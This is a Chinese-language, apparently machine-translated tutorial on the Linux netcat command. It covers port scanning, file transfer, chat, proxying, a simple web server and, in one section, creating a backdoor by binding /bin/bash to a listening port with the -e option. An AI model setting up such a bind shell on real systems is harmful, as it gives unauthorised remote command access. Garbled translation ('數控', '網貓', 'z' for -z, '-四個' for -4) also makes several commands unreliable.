數控數控 或者,Netcat 命令是一個 Linux 網絡命令行工具。它的工作方式類似於端口掃描工具、安全工具或網絡監控工具。這是系統管理員應該知道的一個重要實用程序,通常被稱為瑞士軍刀,一種網絡工具。

netcat 命令可用於以下情況:

  • 端口掃描
  • 通過服務器複製文件
  • 創建命令行聊天服務器
  • 轉發端口
  • 創建代理服務器
  • 從遠程機器中提取橫幅信息
  • 託管網絡服務器
  • 創建後門

安裝 Netcat 命令

首先,在大多數 ubuntu 系統上 網貓 它可以作為已安裝的包提供,但如果沒有,您可以使用以下命令下載它:

$ yum install nc                  [On CentOS/RHEL]
$ dnf install nc                  [On Fedora 22+ and RHEL8]
$ sudo apt-get install Netcat     [On Debian/Ubuntu]

動作模式

necat 有兩種操作模式作為客戶端或服務器。

這兩種模式的語法可以表示為:

在某處連接:(客戶端)

 nc [-options] [hostname] [ports] 

收聽入站:(服務器)

nc –l –p port [options] [hostname] [port]

使用 Netcat 連接東西時,使用前兩者。如果您使用自己的機器從另一台機器獲取信息,那麼您實際上是在客戶端模式下工作。

當使用 Netcat 監聽入站連接時,機器充當服務器。這個 -l 聽力的縮寫。

使用 Netcat 掃描端口

最基本和最常見的用途之一 網貓 這是關於確定哪個端口是開放的。端口掃描主要使用三個標誌:

-什麼時候允許 nc 在不發送數據的情況下掃描監聽守護進程
-v啟用高級模式
-w需要指定超時條件時使用

您可以通過三種方式指定監聽端口:

在單個端口上偵聽。

$ nc -v -w 2 z 127.0.0.1 20

監聽多個端口。

$ nc -v -w 2 z 127.0.0.1 20 25 30

監聽不同的端口。

$ nc -v -w 2 z 127.0.0.1 20-25 
監聽多個端口

在 Linux 上使用 Netcat 命令複製文件

這個 netcat 命令 即使是這樣,它也可用於將文件從一個系統傳輸到另一個系統 ssh/scp。 這可以使用以下命令完成:

這是通過將文件信息從源機器發送到接收機器來實現的。接收機器以偵聽模式運行並偵聽特定端口上的數據。發送方通過與接收方建立連接來發送數據。它使用 Netcat 構建服務器-客戶端模型。

重定向運算符用於寫入和寫入文件。

電台(目的地):

$ nc -l  8080 > file.txt

發送機(來源):

$ nc 192.168.1.100 8080 < data.txt

如果您沒有提到文件操作符和重定向操作符,您可以使用與聊天模型相同的命令。接下來讓我們看看這個:

帶有 NC 的命令行聊天服務器

網貓 它可以用來創建一個基本的命令行聊天服務器,允許兩個系統在命令行上聊天。

在其中一台服務器上運行該命令。

$ nc -l 8080

在遠程計算機上,使用以下命令進行連接:

$ nc 127.0.0.1 8080

這會建立連接,寫入一個終端的任何內容都會顯示在另一個終端上。

這行得通。

運行兩個終端實例並在它們之間創建一個聊天服務器。

通過 Netcat 聊天
netcat 命令通過 Netcat 聊天

將連接模式更改為 UDP

Netcat 的默認連接模式是 TCP,但您可以選擇另一種稱為 UDP 的連接模式。

這可以使用’-u‘Netcat 命令選項。

* TCP代表傳輸控制協議,UDP代表用戶自定義數據報。

$ nc -l -u 55
數據傳輸協議數據傳輸協議

它連接到端口 55 UDP。 使用’查看連接類型是UDP而不是TCP。-v’ 選項:

UDP認證UDP認證

您可以在上面的聊天服務器示例中使用 -u 來創建 UDP 聊天服務器。唯一的區別是現在將使用 UDP 協議而不是 TCP 來完成交換。

搶橫幅

您還可以使用 Netcat 從遠程系統獲取橫幅信息。

它連接到網址的80端口,然後 標頭/HTTP/1.0標頭/HTTP/1.1

您還可以使用 CONNECT、DELETE、DEBUG、OPTIONS、GET 代替 HEAD。

$ nc [source name] 80
HEAD / HTTP/ 1.1 

寫完第二行,輸入幾次。

截圖 20200602 在 11.23.36 PM使用 HEAD / HTTP 抓取橫幅
截圖 20200602 在 11.24.07 PM使用 OPTIONS / HTTP 獲取橫幅
截圖 20200602 在 11.34.12 PM使用 GET / HTTP 獲取橫幅

使用 Netcat 作為代理服務器

要創建代理服務器,您需要創建一個通道來發送和接收信息。簡單地重定向傳入連接會創建一個僅在一個方向上工作的服務器。在這種情況下,響應被丟棄。

創建服務器的命令是:

$ nc -l 8080 | nc 192.168.1.200 80

要以兩種方式創建,請使用:

$ mkfifo 2wayPipe
$ nc -l 8080 0<2wayPipe | nc 192.168.1.200 80 1>2wayPipe

Linux mkfifo 命令用於創建管道。管道基本上是先進先出 (fifo),主要用於兩個 Linux 進程進行通信。

2wayPipe 是一個任意選擇的管道名稱。

這提供了通過網絡發送和接收信息的能力。 網貓 代理服務器。

創建一個基本的 Web 服務器

假設您要託管一個基本的 HTML 文件。該文件的名稱是系統上的 index.html。然後使用以下命令 本地 Netcat 服務器 託管 HTML 文件。在您的 shell 腳本中使用 while 循環來確保服務器繼續偵聽端口 8080 並為每個請求提供 index.html 頁面。

$ while : ; do (echo -ne "HTTP/1.1 200 OKrn"; cat index.html;) | nc -l -p 8080 ; done

沒有終止條件的 while 循環允許服務器運行直到它被手動終止,除非它被手動終止。 可以通過鍵入以下內容查看網頁: https://本地主機:8080 在瀏覽器窗口中。

在 IPV6 和 IPV4 之間切換

如果您需要連接到特定版本的 IP,可以使用以下命令標籤之一進行連接:

-四個僅允許 IPV4 地址
-6僅允許 IPV6 地址

例如,在上面的命令行聊天模型中,您可以使用這些標誌之一連接到 IPv4 或 IPv6,如下所示。

對於 IPV4:

$ nc -4 -l 8080
$ nc -4 192.168.1.100 8080

對於 IPV6:

$ nc -6 -l 8080
$ nc -6 192.168.1.100 8080

使用 Netcat 創建系統後門

網貓 用於在系統中創建後門。這是黑客經常使用的一種非常常用的方法。黑客可以使用後門以繞過系統正常安全機制的方式訪問系統。這將被使用 -e 可用選項 網貓 命令。 Netcat 使用 -e 命令在客戶端連接時運行指定的程序。

命令是:

$ nc -l 5500 -e /bin/bash

這會將端口 5500 連接到 bin / bash 遠程計算機,並允許您通過鍵入以下命令來運行命令:

$ nc 10.10.10.100 5500

斷開連接後繼續收聽

如果使用 Netcat 設置服務器,與客戶端斷開連接也會關閉服務器。為了防止這種情況 -k 無論與客戶端的連接如何,這都會強制服務器繼續運行。

$ nc -k -l 8080

這確保了即使在客戶端斷開連接後服務器仍將繼續運行。

結論是

netcat 命令是一個非常廣泛的實用程序,上面的用法只是 netcat 命令可以做的一部分。有關命令詳細信息,請參閱 Wikipedia 頁面或手冊頁。